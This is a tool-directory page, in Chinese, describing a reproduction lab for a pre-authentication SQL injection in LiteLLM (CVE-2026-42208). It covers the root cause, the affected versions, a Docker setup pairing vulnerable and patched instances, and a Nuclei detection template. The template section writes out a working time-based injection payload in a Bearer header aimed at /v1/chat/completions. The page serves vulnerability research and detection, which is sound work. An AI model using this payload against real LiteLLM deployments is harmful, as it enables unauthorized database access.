Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
poc_cve-2026-42208 — CVE-2026-42208 的复现实验室,这是 LiteLLM 中一个严重的预认证 SQL 注入漏洞。包含基于 Docker 的易受攻击/已修补环境、基于时间的 PoC 漏洞利用,以及用于安全测试的 Nuclei 检测模板。 | Kitploit
工具/GitHubGitHub/haerin-l/poc_cve-2026-42208
漏洞分析Web应用程序漏洞利用CTF渗透测试学习与教育实验室与实践
GitHubhaerin-l/poc_cve-2026-42208

poc_cve-2026-42208

CVE-2026-42208 的复现实验室,这是 LiteLLM 中一个严重的预认证 SQL 注入漏洞。包含基于 Docker 的易受攻击/已修补环境、基于时间的 PoC 漏洞利用,以及用于安全测试的 Nuclei 检测模板。

查看仓库
165个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-42208 — LiteLLM 预认证 SQL 注入

一个用于复现和检测 CVE-2026-42208 的实验室环境,这是 LiteLLM 中的一个严重预认证 SQL 注入漏洞,未经过滤的 Bearer 令牌会直达原始 PostgreSQL 查询。


漏洞概述

字段详情
CVE IDCVE-2026-42208
GHSAGHSA-r75f-5x8p-qvmc
CVSS9.3(严重)— AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
受影响版本>= 1.81.16, < 1.83.7
已修复v1.83.7(参数化查询)
CWECWE-89(SQL 注入)

根本原因

Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>   ← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD, table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path, but:
    → get_data(token=hashed_token, ...)
    → SQL: WHERE v.token = $1          ← parameterized, no injection

攻击前提条件

#条件详情
1受影响的 LiteLLM 版本>= 1.81.16, < 1.83.7
2PostgreSQL 后端SQLite 部署不受影响
3无需认证预认证;无需任何凭据
4VerificationToken 中至少 1 行pg_sleep 仅按行触发;空表 = 无延迟

实验室架构

Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)

前置条件

工具安装方式
Docker Desktopdocker.com
nucleibrew install nuclei
curl、python3macOS 预装

如何运行

步骤 1 — 搭建实验室环境

bash scripts/01-setup.sh

完成后:

══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════

步骤 2 — 触发 CVE

bash scripts/02-exploit.sh

预期输出 — 易受攻击版本(v1.83.6-nightly):

── Vulnerable (v1.83.6-nightly, port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)

预期输出 — 已修复版本(v1.83.7-stable):

── Patched    (v1.83.7-stable,  port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)

步骤 3 — Nuclei 检测

# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011

易受攻击版本(v1.83.6-nightly):

Nuclei 检测 — 易受攻击版本

已修复版本(v1.83.7-stable):

Nuclei 检测 — 已修复版本

步骤 4 — 清理环境

bash scripts/99-teardown.sh

目录结构

litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers, create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources

Nuclei 模板检测逻辑

Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path, not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed

误报预防:

  • status == 401 排除上游超时(504)和网关错误(502)的响应
  • 正文关键字匹配确认 401 来自 LiteLLM 的认证处理,而非 WAF 或代理
  • duration >= 5 足够高,可排除网络抖动(基线为 ≤0.5s)

参考链接

  • GHSA-r75f-5x8p-qvmc
  • NVD — CVE-2026-42208
  • Sysdig 分析

警告: 本实验室中的所有凭据均为仅供安全研究用途的虚假测试数据。切勿在生产环境中使用。在扫描非您所有的系统之前,务必获得明确授权。

下载工具